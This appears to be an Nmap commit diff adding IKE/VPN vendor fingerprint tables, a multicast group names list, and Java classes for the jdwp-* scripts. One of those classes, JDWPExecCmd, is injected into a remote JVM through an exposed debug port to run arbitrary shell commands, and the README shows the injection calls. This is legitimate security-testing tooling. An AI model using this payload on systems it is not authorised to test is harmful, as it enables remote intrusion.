+ fingerprint = '^c40fee00d5d39ddb1fc762e09b7cfea7',
+ text = 'Testing NAT-T RFC'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4a131c81070358455c5728f20e95452f',
+ text = 'RFC 3947 NAT-T'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^810fa565f8ab14369105d706fbd57279',
+ text = 'RFC XXXX'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4865617274426561745f4e6f74696679',
+ text = 'Heartbeat Notify'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4df37928e9fc4fd1b3262170d515c662',
+ text = 'draft-ietf-ipsec-nat-t-ike'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4485152d18b6bbcd0be8a8469579ddcc',
+ text = 'draft-ietf-ipsec-nat-t-ike-00'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^16f6ca16e4a4066d83821a0f0aeaa862',
+ text = 'draft-ietf-ipsec-nat-t-ike-01'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^90cb80913ebb696e086381b5ec427b1f',
+ text = 'draft-ietf-ipsec-nat-t-ike-02\\n'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^cd60464335df21f87cfdb2fc68b6a448',
+ text = 'draft-ietf-ipsec-nat-t-ike-02'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^7d9419a65310ca6f2c179d9215529d56',
+ text = 'draft-ietf-ipsec-nat-t-ike-03'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^9909b64eed937c6573de52ace952fa6b',
+ text = 'draft-ietf-ipsec-nat-t-ike-04'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^80d0bb3def54565ee84645d4c85ce3ee',
+ text = 'draft-ietf-ipsec-nat-t-ike-05'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^4d1e0e136deafa34c4f3ea9f02ec7285',
+ text = 'draft-ietf-ipsec-nat-t-ike-06'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^439b59f8ba676c4c7737ae22eab8f582',
+ text = 'draft-ietf-ipsec-nat-t-ike-07'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^8f8d83826d246b6fc7a8a6a428c11de8',
+ text = 'draft-ietf-ipsec-nat-t-ike-08'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^42ea5b6f898d9773a575df26e7dd19e1',
+ text = 'draft-ietf-ipsec-nat-t-ike-09'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^ba290499c24e84e53a1d83a05e5f00c9',
+ text = 'IKE Challenge-Response'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^0d33611a5d521b5e3c9c03d2fc107e12',
+ text = 'IKE Challenge-Response-2'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^ad3251042cdc4652c9e0734ce5de4c7d',
+ text = 'IKE Challenge-Response Revised'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^13f11823f966fa91900f024ba66a86ba',
+ text = 'IKE Challenge-Response Revised-2'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^27bab5dc01ea0760ea4e3190ac27c0d0',
+ text = 'draft-stenberg-ipsec-nat-traversal-01'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^6105c422e76847e43f9684801292aecd',
+ text = 'draft-stenberg-ipsec-nat-traversal-02'
+});
+
+table.insert(fingerprints, {
+ category = 'attribute',
+ vendor = nil,
+ version = nil,
+ ostype = nil,
+ devicetype = nil,
+ cpe = nil,
+ fingerprint = '^6a7434c19d7e36348090a02334c9c805',
+ text = 'draft-huttunen-ipsec-esp-in-udp-00.txt'
+});
+
+
+
+--------------------------------------------------------------------------------
+--------------------------------------------------------------------------------
+-- vid_order:
+-- By examining the ordering of the VIDs, some assumptions can be made
+-- Currently only has support for Cisco
+
+
+table.insert(fingerprints, {
+ category = 'vid_ordering',
+ vendor = 'Cisco',
+ version = nil,
+ ostype = 'IOS 12.3/12.4',
+ devicetype = nil,
+ cpe = 'cpe:/o:cisco:ios:12.3-12.4',
+ fingerprint = '^12f5f28c457168a9702d9fe274cc0100afcad71368a1f1c96b8696fc77570100................................09002689dfd6b712'
+ -- Cisco Unity, Dead Peer Detection v1.0, junk, XAUTH
+});
+
+table.insert(fingerprints, {
+ category = 'vid_ordering',
+ vendor = 'Cisco',
+ version = nil,
+ ostype = 'PIX OS 6.0/6.1',
+ devicetype = nil,
+ cpe = 'cpe:/o:cisco:pix:6.0-6.1',
+ fingerprint = '^112f5f28c457168a9702d9fe274cc0100afcad71368a1f1c96b8696fc77570100................................'
+ -- Cisco Unity, Dead Peer Detection, junk
+});
+
+table.insert(fingerprints, {
+ category = 'vid_ordering',
+ vendor = 'Cisco',
+ version = nil,
+ ostype = 'PIX OS 6.2.x',
+ devicetype = nil,
+ cpe = 'cpe:/o:cisco:pix:6.2.x',
+ fingerprint = '^09002689dfd6b71212f5f28c457168a9702d9fe274cc0100afcad71368a1f1c96b8696fc77570100................................'
+ -- XAUTH, Cisco Unity, Dead Peer Detection, junk
+});
+
+table.insert(fingerprints, {
+ category = 'vid_ordering',
+ vendor = 'Cisco',
+ version = nil,
+ ostype = 'PIX OS 6.3.x',
+ devicetype = nil,
+ cpe = 'cpe:/o:cisco:pix:6.3.x',
+ fingerprint = '^09002689dfd6b712afcad71368a1f1c96b8696fc7757010012f5f28c457168a9702d9fe274cc0100................................'
+ -- XAUTH, Dead Peer Detection v1.0, Cisco Unity, junk
+});
+
+table.insert(fingerprints, {
+ category = 'vid_ordering',
+ vendor = 'Cisco',
+ version = nil,
+ ostype = 'PIX OS 7.0.x',
+ devicetype = nil,
+ cpe = 'cpe:/o:cisco:pix:7.0.x',
+ fingerprint = '^12f5f28c457168a9702d9fe274cc010009002689dfd6b712afcad71368a1f1c96b8696fc775701004048b7d56ebce88525e7de7f00d6c2d3c00000001f07f70eaa6514d3b0fa96542a......'
+ --Cisco Unity, XAUTH, Dead Peer Detection v1.0, IKE Fragmentation, Cisco VPN Concentrator
+});
+
+table.insert(fingerprints, {
+ category = 'vid_ordering',
+ vendor = 'Cisco',
+ version = nil,
+ ostype = 'PIX OS 7.1 or later',
+ devicetype = nil,
+ cpe = 'cpe:/o:cisco:pix:7.1_or_later',
+ fingerprint = '^12f5f28c457168a9702d9fe274cc010009002689dfd6b7124048b7d56ebce88525e7de7f00d6c2d3c00000001f07f70eaa6514d3b0fa96542a......'
+ -- Cisco Unity, XAUTH, IKE Fragmentation, Cisco VPN Concentrator
+});
+
+--[[ Probably too
+table.insert(fingerprints, {
+ category = 'vid_ordering',
+ vendor = 'Cisco',
+ version = 'PIX OS 5.x OR IOS 12.0-12.2',
+ ostype = 'PIX OS / IOS',
+ devicetype = nil,
+ cpe = 'cpe:/o:cisco',
+ fingerprint = '^................................',
+ -- 'random' VID, but fixed length
+});
+]]
+
+
+
+--------------------------------------------------------------------------------
+--------------------------------------------------------------------------------
+-- header_ordering:
+-- For possible future use
+
+--- Cisco
+-- 1: SA, VID, VID, VID, VID, KeyExchange, ID, Nonce, Hash
+-- 2: SA, KeyExchange, Nonce, ID, Hash, VID, VID, VID, VID, VID, VID
+-- 3: SA, KeyExchange, Nonce, ID, Hash, VID, VID, VID, VID, VID
+
+--- Checkpoint
+-- 1: SA, VID (Main)
+-- 2: SA, KeyExchange, Nonce, ID, VID, Hash (Aggressive)
+
+--- SonicWall
+-- 1: SA, VID (Main)
+-- 2: SA, KeyExchange, Nonce, ID, VID, Hash (Aggressive)
+
+--- Juniper
+-- 1: SA, VID, VID, VID
+-- 2: SA, VID, VID, VID, VID, VID
+
+--- Zyxel
+-- 1: SA, VID, VID, VID, VID, VID, VID, VID, VID (Zyxel USG 100)
+-- 2: SA, VID, VID, VID, VID, VID, VID, VID, VID, VID (Zyxel USG 100)
+-- 3: SA, VID, VID (Zyxel USG 200, ZyWall)
+-- 4: SA, KeyExchenge, Nonce, ID, Hash, VID, VID, Notification (Zyxel USG 300)
+-- 5: SA, VID (???)
diff --git a/nselib/data/jdwp-class/JDWPExecCmd.java b/nselib/data/jdwp-class/JDWPExecCmd.java
new file mode 100644
index 0000000..0b9af5d
--- /dev/null
+++ b/nselib/data/jdwp-class/JDWPExecCmd.java
@@ -0,0 +1,31 @@
+import java.io.*;
+
+/* This is the JDWPExecCmd source used for jdwp-exec script to execute
+ * a command on the remote system.
+ *
+ * It just executes the shell command passed as string argument to
+ * run() function and returns its output.
+ *
+ * Compile simply with:
+ * javac JDWPExecCmd.java (should be in the nselib/data/ directory).
+ *
+ * author = "Aleksandar Nikolic"
+ * license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+*/
+
+public class JDWPExecCmd {
+ public static String run(String cmd) {
+ String result = cmd + " output:\n";
+ try{
+ Process p = Runtime.getRuntime().exec(cmd);
+ BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
+ String line = null;
+ while ((line = in.readLine()) != null) {
+ result += line.trim()+"\n";
+ }
+ result += "\n";
+ }catch(Exception ex){
+ }
+ return result;
+ }
+}
diff --git a/nselib/data/jdwp-class/JDWPSystemInfo.java b/nselib/data/jdwp-class/JDWPSystemInfo.java
new file mode 100644
index 0000000..1ad4951
--- /dev/null
+++ b/nselib/data/jdwp-class/JDWPSystemInfo.java
@@ -0,0 +1,41 @@
+import java.io.*;
+import java.util.Date;
+/* This is the JDWPSystemInfo source used for jdwp-info script to get remote
+ * system information.
+ *
+ * Compile simply with:
+ * javac JDWPSystemInfo.java (should be in the nselib/data/jdwp-class directory).
+ *
+ * author = "Aleksandar Nikolic"
+ * license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+*/
+
+public class JDWPSystemInfo {
+ public static String run() {
+ String result = "";
+ result += "Available processors: " + Runtime.getRuntime().availableProcessors() + "\n";
+ result += "Free memory: " + Runtime.getRuntime().freeMemory() + "\n";
+ File[] roots = File.listRoots();
+ for (File root : roots) {
+ result += "File system root: " + root.getAbsolutePath() + "\n";
+ result += "Total space (bytes): " + root.getTotalSpace() + "\n";
+ result += "Free space (bytes): " + root.getFreeSpace() + "\n";
+ }
+ result += "Name of the OS: " + System.getProperty("os.name") + "\n";
+ result += "OS Version : " + System.getProperty("os.version") + "\n";
+ result += "OS patch level : " + System.getProperty("sun.os.patch.level") + "\n";
+ result += "OS Architecture: " + System.getProperty("os.arch") + "\n";
+ result += "Java version: " + System.getProperty("java.version") + "\n";
+ result += "Username: " + System.getProperty("user.name") + "\n";
+ result += "User home: " + System.getProperty("user.home") + "\n";
+ Date dateNow = new Date();
+ result += "System time: " + dateNow + "\n";
+
+ return result;
+ }
+
+ public static void main(String[] args){
+ System.out.println(run());
+ }
+
+}
diff --git a/nselib/data/jdwp-class/README.txt b/nselib/data/jdwp-class/README.txt
new file mode 100644
index 0000000..aaac1f5
--- /dev/null
+++ b/nselib/data/jdwp-class/README.txt
@@ -0,0 +1,26 @@
+This directory contains sources and compiled classes
+used by jdwp-* scripts.
+
+All classes must have run() method defined which is
+expected to return a string.
+Method run() can have arguments, but then the scripts
+would need to be modified to add those arguments when
+class is injected. As JDWPExecCmd has a run() method
+which accepts a string as its argument, see
+jdwp-exec script for details of passing the
+arguments to a method via JDWP.
+Arguments need to be tagged with their respective type.
+For other tags see http://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/types.html#wp9502 .
+Example from jdwp-exec:
+
+ local cmdID
+ status,cmdID = jdwp.createString(socket,0,cmd)
+ local runArgs = string.pack(">B I8", 0x4c, cmdID) -- 0x4c is object type tag
+ -- invoke run method
+ local result
+ status, result = jdwp.invokeObjectMethod(socket,0,injectedClass.instance,injectedClass.thread,injectedClass.id,runMethodID,1,runArgs)
+
+To compile these sources:
+# javac *.java
+
+
diff --git a/nselib/data/mgroupnames.db b/nselib/data/mgroupnames.db
new file mode 100644
index 0000000..459fb31
--- /dev/null
+++ b/nselib/data/mgroupnames.db
@@ -0,0 +1,485 @@
+224.0.0.0 224.0.0.0 Base Address (Reserved) (rfc1112)
+224.0.0.1 224.0.0.1 All Systems on this Subnet (rfc1112)
+224.0.0.2 224.0.0.2 All Routers on this Subnet
+224.0.0.3 224.0.0.3 Unassigned
+224.0.0.4 224.0.0.4 DVMRP Routers (rfc1075)
+224.0.0.5 224.0.0.5 OSPFIGP OSPFIGP All Routers (rfc2328)
+224.0.0.6 224.0.0.6 OSPFIGP OSPFIGP Designated Routers (rfc2328)
+224.0.0.7 224.0.0.7 ST Routers (rfc1190)
+224.0.0.8 224.0.0.8 ST Hosts (rfc1190)
+224.0.0.9 224.0.0.9 RIP2 Routers (rfc1723)
+224.0.0.10 224.0.0.10 EIGRP Routers
+224.0.0.11 224.0.0.11 Mobile-Agents
+224.0.0.12 224.0.0.12 DHCP Server / Relay Agent
+224.0.0.13 224.0.0.13 All PIM Routers
+224.0.0.14 224.0.0.14 RSVP-ENCAPSULATION
+224.0.0.15 224.0.0.15 all-cbt-routers (rfc2189)
+224.0.0.16 224.0.0.16 designated-sbm
+224.0.0.17 224.0.0.17 all-sbms
+224.0.0.18 224.0.0.18 VRRP (rfc5798)
+224.0.0.19 224.0.0.19 IPAllL1ISs
+224.0.0.20 224.0.0.20 IPAllL2ISs
+224.0.0.21 224.0.0.21 IPAllIntermediate Systems
+224.0.0.22 224.0.0.22 IGMP
+224.0.0.23 224.0.0.23 GLOBECAST-ID
+224.0.0.24 224.0.0.24 OSPFIGP-TE (rfc4973)
+224.0.0.25 224.0.0.25 router-to-switch
+224.0.0.26 224.0.0.26 Unassigned
+224.0.0.27 224.0.0.27 Al MPP Hello
+224.0.0.28 224.0.0.28 ETC Control
+224.0.0.29 224.0.0.29 GE-FANUC
+224.0.0.30 224.0.0.30 indigo-vhdp
+224.0.0.31 224.0.0.31 shinbroadband
+224.0.0.32 224.0.0.32 digistar
+224.0.0.33 224.0.0.33 ff-system-management
+224.0.0.34 224.0.0.34 pt2-discover
+224.0.0.35 224.0.0.35 DXCLUSTER
+224.0.0.36 224.0.0.36 DTCP Announcement
+224.0.0.37 224.0.0.68 zeroconfaddr (renew 12/02)
+224.0.0.69 224.0.0.100 Reserved
+224.0.0.101 224.0.0.101 cisco-nhap
+224.0.0.102 224.0.0.102 HSRP
+224.0.0.103 224.0.0.103 MDAP
+224.0.0.104 224.0.0.104 Nokia MC CH
+224.0.0.105 224.0.0.105 ff-lr-address
+224.0.0.106 224.0.0.106 All-Snoopers (rfc4286)
+224.0.0.107 224.0.0.107 PTP-pdelay
+224.0.0.108 224.0.0.108 Saratoga
+224.0.0.109 224.0.0.109 LL-MANET-Routers (rfc5498)
+224.0.0.110 224.0.0.110 IGRS
+224.0.0.111 224.0.0.111 Babel (rfc6126)
+224.0.0.112 224.0.0.112 MMA Device Discovery
+224.0.0.113 224.0.0.113 AllJoyn
+224.0.0.114 224.0.0.114 Inter RFID Reader Protocol
+224.0.0.115 224.0.0.115 JSDP
+224.0.0.116 224.0.0.116 Device discovery/config
+224.0.0.117 224.0.0.117 DLEP Discovery
+224.0.0.118 224.0.0.118 MAAS
+224.0.0.119 224.0.0.250 Unassigned
+224.0.0.251 224.0.0.251 mDNS (rfc6762)
+224.0.0.252 224.0.0.252 Link-local Multicast Name Resolution (rfc4795)
+224.0.0.253 224.0.0.253 Teredo (rfc4380)
+224.0.0.254 224.0.0.254 RFC3692-style Experiment (*) (rfc4727)
+224.0.0.255 224.0.0.255 Unassigned
+224.0.1.0 224.0.1.0 VMTP Managers Group (rfc1045)
+224.0.1.1 224.0.1.1 NTP Network Time Protocol (rfc5905)
+224.0.1.2 224.0.1.2 SGI-Dogfight
+224.0.1.3 224.0.1.3 Rwhod
+224.0.1.4 224.0.1.4 VNP
+224.0.1.5 224.0.1.5 Artificial Horizons - Aviator
+224.0.1.6 224.0.1.6 NSS - Name Service Server
+224.0.1.7 224.0.1.7 AUDIONEWS - Audio News Multicast
+224.0.1.8 224.0.1.8 SUN NIS+ Information Service
+224.0.1.9 224.0.1.9 MTP Multicast Transport Protocol
+224.0.1.10 224.0.1.10 IETF-1-LOW-AUDIO
+224.0.1.11 224.0.1.11 IETF-1-AUDIO
+224.0.1.12 224.0.1.12 IETF-1-VIDEO
+224.0.1.13 224.0.1.13 IETF-2-LOW-AUDIO
+224.0.1.14 224.0.1.14 IETF-2-AUDIO
+224.0.1.15 224.0.1.15 IETF-2-VIDEO
+224.0.1.16 224.0.1.16 MUSIC-SERVICE
+224.0.1.17 224.0.1.17 SEANET-TELEMETRY
+224.0.1.18 224.0.1.18 SEANET-IMAGE
+224.0.1.19 224.0.1.19 MLOADD
+224.0.1.20 224.0.1.20 any private experiment
+224.0.1.21 224.0.1.21 DVMRP on MOSPF
+224.0.1.22 224.0.1.22 SVRLOC
+224.0.1.23 224.0.1.23 XINGTV
+224.0.1.24 224.0.1.24 microsoft-ds
+224.0.1.25 224.0.1.25 nbc-pro
+224.0.1.26 224.0.1.26 nbc-pfn
+224.0.1.27 224.0.1.27 lmsc-calren-1
+224.0.1.28 224.0.1.28 lmsc-calren-2
+224.0.1.29 224.0.1.29 lmsc-calren-3
+224.0.1.30 224.0.1.30 lmsc-calren-4
+224.0.1.31 224.0.1.31 ampr-info
+224.0.1.32 224.0.1.32 mtrace
+224.0.1.33 224.0.1.33 RSVP-encap-1
+224.0.1.34 224.0.1.34 RSVP-encap-2
+224.0.1.35 224.0.1.35 SVRLOC-DA
+224.0.1.36 224.0.1.36 rln-server
+224.0.1.37 224.0.1.37 proshare-mc
+224.0.1.38 224.0.1.38 unassigned
+224.0.1.39 224.0.1.39 cisco-rp-announce
+224.0.1.40 224.0.1.40 cisco-rp-discovery
+224.0.1.41 224.0.1.41 gatekeeper
+224.0.1.42 224.0.1.42 iberiagames
+224.0.1.43 224.0.1.43 nwn-discovery
+224.0.1.44 224.0.1.44 nwn-adaptor
+224.0.1.45 224.0.1.45 isma-1
+224.0.1.46 224.0.1.46 isma-2
+224.0.1.47 224.0.1.47 telerate
+224.0.1.48 224.0.1.48 ciena
+224.0.1.49 224.0.1.49 dcap-servers (rfc2114)
+224.0.1.50 224.0.1.50 dcap-clients (rfc2114)
+224.0.1.51 224.0.1.51 mcntp-directory
+224.0.1.52 224.0.1.52 mbone-vcr-directory
+224.0.1.53 224.0.1.53 heartbeat
+224.0.1.54 224.0.1.54 sun-mc-grp
+224.0.1.55 224.0.1.55 extended-sys
+224.0.1.56 224.0.1.56 pdrncs
+224.0.1.57 224.0.1.57 tns-adv-multi
+224.0.1.58 224.0.1.58 vcals-dmu
+224.0.1.59 224.0.1.59 zuba
+224.0.1.60 224.0.1.60 hp-device-disc
+224.0.1.61 224.0.1.61 tms-production
+224.0.1.62 224.0.1.62 sunscalar
+224.0.1.63 224.0.1.63 mmtp-poll
+224.0.1.64 224.0.1.64 compaq-peer
+224.0.1.65 224.0.1.65 iapp
+224.0.1.66 224.0.1.66 multihasc-com
+224.0.1.67 224.0.1.67 serv-discovery
+224.0.1.68 224.0.1.68 mdhcpdisover (rfc2730)
+224.0.1.69 224.0.1.69 MMP-bundle-discovery1
+224.0.1.70 224.0.1.70 MMP-bundle-discovery2
+224.0.1.71 224.0.1.71 XYPOINT DGPS Data Feed
+224.0.1.72 224.0.1.72 GilatSkySurfer
+224.0.1.73 224.0.1.73 SharesLive
+224.0.1.74 224.0.1.74 NorthernData
+224.0.1.75 224.0.1.75 SIP
+224.0.1.76 224.0.1.76 IAPP
+224.0.1.77 224.0.1.77 AGENTVIEW
+224.0.1.78 224.0.1.78 Tibco Multicast1
+224.0.1.79 224.0.1.79 Tibco Multicast2
+224.0.1.80 224.0.1.80 MSP
+224.0.1.81 224.0.1.81 OTT (One-way Trip Time)
+224.0.1.82 224.0.1.82 TRACKTICKER
+224.0.1.83 224.0.1.83 dtn-mc
+224.0.1.84 224.0.1.84 jini-announcement
+224.0.1.85 224.0.1.85 jini-request
+224.0.1.86 224.0.1.86 sde-discovery
+224.0.1.87 224.0.1.87 DirecPC-SI
+224.0.1.88 224.0.1.88 B1RMonitor
+224.0.1.89 224.0.1.89 3Com-AMP3 dRMON
+224.0.1.90 224.0.1.90 imFtmSvc
+224.0.1.91 224.0.1.91 NQDS4
+224.0.1.92 224.0.1.92 NQDS5
+224.0.1.93 224.0.1.93 NQDS6
+224.0.1.94 224.0.1.94 NLVL12
+224.0.1.95 224.0.1.95 NTDS1
+224.0.1.96 224.0.1.96 NTDS2
+224.0.1.97 224.0.1.97 NODSA
+224.0.1.98 224.0.1.98 NODSB
+224.0.1.99 224.0.1.99 NODSC
+224.0.1.100 224.0.1.100 NODSD
+224.0.1.101 224.0.1.101 NQDS4R
+224.0.1.102 224.0.1.102 NQDS5R
+224.0.1.103 224.0.1.103 NQDS6R
+224.0.1.104 224.0.1.104 NLVL12R
+224.0.1.105 224.0.1.105 NTDS1R
+224.0.1.106 224.0.1.106 NTDS2R
+224.0.1.107 224.0.1.107 NODSAR
+224.0.1.108 224.0.1.108 NODSBR
+224.0.1.109 224.0.1.109 NODSCR
+224.0.1.110 224.0.1.110 NODSDR
+224.0.1.111 224.0.1.111 MRM
+224.0.1.112 224.0.1.112 TVE-FILE
+224.0.1.113 224.0.1.113 TVE-ANNOUNCE
+224.0.1.114 224.0.1.114 Mac Srv Loc
+224.0.1.115 224.0.1.115 Simple Multicast
+224.0.1.116 224.0.1.116 SpectraLinkGW
+224.0.1.117 224.0.1.117 dieboldmcast
+224.0.1.118 224.0.1.118 Tivoli Systems
+224.0.1.119 224.0.1.119 pq-lic-mcast
+224.0.1.120 224.0.1.120 SPRYWARE LLC
+224.0.1.121 224.0.1.121 Pipesplatform
+224.0.1.122 224.0.1.122 LiebDevMgmg-DM
+224.0.1.123 224.0.1.123 TRIBALVOICE
+224.0.1.124 224.0.1.124 Unassigned (Retracted 1/29/01)
+224.0.1.125 224.0.1.125 PolyCom Relay1
+224.0.1.126 224.0.1.126 Infront Multi1
+224.0.1.127 224.0.1.127 XRX DEVICE DISC
+224.0.1.128 224.0.1.128 CNN
+224.0.1.129 224.0.1.129 PTP-primary
+224.0.1.130 224.0.1.130 PTP-alternate1
+224.0.1.131 224.0.1.131 PTP-alternate2
+224.0.1.132 224.0.1.132 PTP-alternate3
+224.0.1.133 224.0.1.133 ProCast
+224.0.1.134 224.0.1.134 3Com Discp
+224.0.1.135 224.0.1.135 CS-Multicasting
+224.0.1.136 224.0.1.136 TS-MC-1
+224.0.1.137 224.0.1.137 Make Source
+224.0.1.138 224.0.1.138 Teleborsa
+224.0.1.139 224.0.1.139 SUMAConfig
+224.0.1.140 224.0.1.140 capwap-ac (rfc5415)
+224.0.1.141 224.0.1.141 DHCP-SERVERS
+224.0.1.142 224.0.1.142 CN Router-LL
+224.0.1.143 224.0.1.143 EMWIN
+224.0.1.144 224.0.1.144 Alchemy Cluster
+224.0.1.145 224.0.1.145 Satcast One
+224.0.1.146 224.0.1.146 Satcast Two
+224.0.1.147 224.0.1.147 Satcast Three
+224.0.1.148 224.0.1.148 Intline
+224.0.1.149 224.0.1.149 8x8 Multicast
+224.0.1.150 224.0.1.150 Unassigned
+224.0.1.151 224.0.1.151 Intline-1
+224.0.1.152 224.0.1.152 Intline-2
+224.0.1.153 224.0.1.153 Intline-3
+224.0.1.154 224.0.1.154 Intline-4
+224.0.1.155 224.0.1.155 Intline-5
+224.0.1.156 224.0.1.156 Intline-6
+224.0.1.157 224.0.1.157 Intline-7
+224.0.1.158 224.0.1.158 Intline-8
+224.0.1.159 224.0.1.159 Intline-9
+224.0.1.160 224.0.1.160 Intline-10
+224.0.1.161 224.0.1.161 Intline-11
+224.0.1.162 224.0.1.162 Intline-12
+224.0.1.163 224.0.1.163 Intline-13
+224.0.1.164 224.0.1.164 Intline-14
+224.0.1.165 224.0.1.165 Intline-15
+224.0.1.166 224.0.1.166 marratech-cc
+224.0.1.167 224.0.1.167 EMS-InterDev
+224.0.1.168 224.0.1.168 itb301
+224.0.1.169 224.0.1.169 rtv-audio
+224.0.1.170 224.0.1.170 rtv-video
+224.0.1.171 224.0.1.171 HAVI-Sim
+224.0.1.172 224.0.1.172 Nokia Cluster
+224.0.1.173 224.0.1.173 host-request
+224.0.1.174 224.0.1.174 host-announce
+224.0.1.175 224.0.1.175 ptk-cluster
+224.0.1.176 224.0.1.176 Proxim Protocol
+224.0.1.177 224.0.1.177 Gemtek Systems
+224.0.1.178 224.0.1.178 IEEE IAPP
+224.0.1.179 224.0.1.179 1451_Dot5_802_Discovery
+224.0.1.180 224.0.1.180 1451_Dot5_802_Group_1
+224.0.1.181 224.0.1.181 1451_Dot5_802_Group_2
+224.0.1.182 224.0.1.182 1451_Dot5_802_Group_3
+224.0.1.183 224.0.1.183 1451_Dot5_802_Group_4
+224.0.1.184 224.0.1.184 VFSDP
+224.0.1.185 224.0.1.185 ASAP (rfc5352)
+224.0.1.186 224.0.1.186 SL-MANET-ROUTERS (rfc6621)
+224.0.1.187 224.0.1.187 All CoAP Nodes (rfc7252)
+224.0.1.188 224.0.1.255 Unassigned
+224.0.2.0 224.0.2.0 Unassigned
+224.0.2.1 224.0.2.1 "rwho" Group (BSD) (unofficial)
+224.0.2.2 224.0.2.2 SUN RPC PMAPPROC_CALLIT
+224.0.2.3 224.0.2.3 EPSON-disc-set
+224.0.2.4 224.0.2.4 All C1222 Nodes (rfc6142)
+224.0.2.5 224.0.2.5 Monitoring Discovery Protocol
+224.0.2.6 224.0.2.6 BitSend MediaStreams
+224.0.2.7 224.0.2.8 rxWARN
+224.0.2.9 224.0.2.9 DATV streams
+224.0.2.10 224.0.2.10 swapapp_multicast
+224.0.2.11 224.0.2.63 Unassigned
+224.0.2.64 224.0.2.95 Amex MDD Service
+224.0.2.96 224.0.2.127 BallisterNet
+224.0.2.128 224.0.2.191 WOZ-Garage
+224.0.2.192 224.0.2.255 SIAC MDD Market Service
+224.0.3.0 224.0.3.255 RFE Generic Service
+224.0.4.0 224.0.4.255 RFE Individual Conferences
+224.0.5.0 224.0.5.127 CDPD Groups
+224.0.5.128 224.0.5.191 SIAC Market Service
+224.0.5.192 224.0.5.255 SIAC NYSE Order PDP protocol
+224.0.6.0 224.0.6.127 Cornell ISIS Project
+224.0.6.128 224.0.6.143 MoeSingh
+224.0.6.144 224.0.6.150 Unassigned
+224.0.6.151 224.0.6.151 Canon-Device-control
+224.0.6.152 224.0.6.191 Unassigned
+224.0.6.192 224.0.6.255 OneChicago multicast
+224.0.7.0 224.0.7.255 Where-Are-You
+224.0.8.0 224.0.8.255 UNASSIGNED
+224.0.9.0 224.0.9.255 The Thing System
+224.0.10.0 224.0.10.255 DLSw Groups
+224.0.11.0 224.0.11.255 NCC.NET Audio
+224.0.12.0 224.0.12.63 Microsoft and MSNBC
+224.0.13.0 224.0.13.255 WorldCom Broadcast Services
+224.0.14.0 224.0.14.255 NLANR
+224.0.15.0 224.0.15.255 Agilent Technologies
+224.0.16.0 224.0.16.255 XingNet
+224.0.17.0 224.0.17.31 Mercantile &amp; Commodity Exchange
+224.0.17.32 224.0.17.63 NDQMD1
+224.0.17.64 224.0.17.127 ODN-DTV
+224.0.18.0 224.0.18.255 Dow Jones
+224.0.19.0 224.0.19.63 Walt Disney Company
+224.0.19.64 224.0.19.95 Cal Multicast
+224.0.19.96 224.0.19.127 Amex Market Service
